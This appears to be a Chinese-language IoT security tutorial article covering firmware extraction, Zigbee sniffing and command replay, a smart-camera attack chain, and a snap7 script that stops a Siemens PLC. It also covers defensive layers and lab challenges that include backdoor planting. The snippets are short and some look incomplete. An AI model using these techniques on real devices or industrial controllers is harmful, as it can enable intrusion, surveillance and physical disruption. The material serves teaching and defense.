《物联网安全特辑：从智能设备到工业控制系统的攻防博弈》

设备分层威胁模型

感知层

传感器数据篡改

网络层

无线协议劫持

平台层

云API滥用

应用层

移动APP逆向

设备控制权夺取

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0x01 固件逆向：解剖设备的灵魂

固件提取三板斧

方法1：OTA升级包捕获

# 使用Wireshark过滤HTTP流量  
tshark -i eth0 -Y "http.request.uri contains firmware" -w firmware.pcap  

目的：截取设备升级时的固件传输流量

方法2：Flash芯片硬提取

# 使用SPI编程器读取芯片  
import spidev  
spi = spidev.SpiDev()  
spi.open(0,0)  
firmware = spi.readbytes(1024*1024)  # 读取1MB内容  

工具：CH341A编程器 + Flashrom

方法3：调试接口利用

# 通过UART获取Shell  
screen /dev/ttyUSB0 115200  # 波特率扫描范围：9600-115200  

线索：TX/RX引脚通常标记为GND/VCC旁的测试点

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0x02 协议逆向：破解无线通信

Zigbee安全分析与攻击

嗅探环境搭建：

# 使用USRP + GNU Radio  
uhd_find_devices  
grcc /path/to/zigbee_flowgraph.grc  

关键步骤：

1. 捕获网络密钥（NWK Key）
2. 解密APS层数据
3. 重放控制指令

攻击演示：

from killerbee import *  
kb = KillerBee()  
kb.set_channel(11)  
kb.inject(\x01\x23\x45\x67\x89\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00)  # 伪造开灯指令  

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0x03 漏洞利用：从智能家居到工业PLC

案例1：智能摄像头漏洞链

攻击链：

弱口令登录

绕过视频流鉴权

RTSP流重定向

物理空间监控

EXP关键代码：

POST /cgi-bin/user/Config.cgi HTTP/1.1  
Content-Type: text/xml  

admin12345  

案例2：西门子PLC漏洞利用

S7协议漏洞：

import snap7  
client = snap7.client.Client()  
client.connect("192.168.1.100", 0, 1)  
client.plc_stop()  # 触发拒绝服务  

防御绕过：

• 修改PLC启动逻辑块（OB1）
• 利用TSAP伪装工程站

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0x04 防御者沙盘：四层防护体系

层1：硬件级防护

安全启动（Secure Boot）：

// 验证固件签名  
if (!rsa_verify(firmware, pub_key)) {  
    GPIO_WritePin(LED_RED, ON);  
    while(1);  
}  

层2：协议加固

Zigbee加密增强：

# 启用AES-128-CCM*  
security_level = ZigbeeSecurityLevel.ENC_MIC_128  

层3：异常行为检测

工业协议白名单：

# Modbus规则示例  
allowed_functions:  
  - 0x03  # 读保持寄存器  
  - 0x06  # 写单个寄存器  
alert_on:  
  - function_code not in allowed_functions  
  - register_address > 0x270F  

层4：物理安全

• UART接口覆盖环氧树脂
• JTAG引脚物理切断

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0x05 物联网攻防实验室

场景1：智能门锁破解

• 目标设备：Zigbee智能锁（模拟环境）
• 任务清单：
  1. 捕获配对密钥（30分）
  2. 重放开锁指令（50分）
  3. 逆向固件获取默认密码（80分）

武器库：

# 使用Zigbee2MQTT嗅探  
zigbee2mqtt -d /dev/ttyACM0  

场景2：PLC逻辑篡改

• 目标系统：http://plc.csdntest:8080 （模拟西门子S7-1200）
• 挑战要求：
  • 读取DB1数据块（20分）
  • 修改电机转速参数（60分）
  • 植入持久化后门（100分）

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技术总结

物联网安全本质 = 设备多样性 × 协议复杂性 × 物理不可达性  
                   ↓  
   单点突破 → 协议逆向 → 横向控制 → 物理影响  

下期剧透：《云安全攻防场》将揭秘：

• AWS S3桶权限绕过实战
• Kubernetes容器逃逸链构造
• 利用Serverless函数实现持久化

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法律声明与资源

⚠️ 未经授权的物联网设备攻击涉嫌违反《刑法》第285、286条

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攻击者画像

{  
  "攻击路径": "无线协议破解 → 固件植入 → 物理控制",  
  "技术特征": [  
    "使用SDR（软件定义无线电）",  
    "修改PLC梯形图逻辑",  
    "利用MQTT协议漏洞"  
  ],  
  "工具链": ["Ubertooth", "Binwalk", "Ghidra", "PLCsim"]  
}  

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立即行动：
[ 下载物联网固件分析工具包]
[ 接入虚拟工控实验环境]
[️ 加入硬件安全破解挑战赛]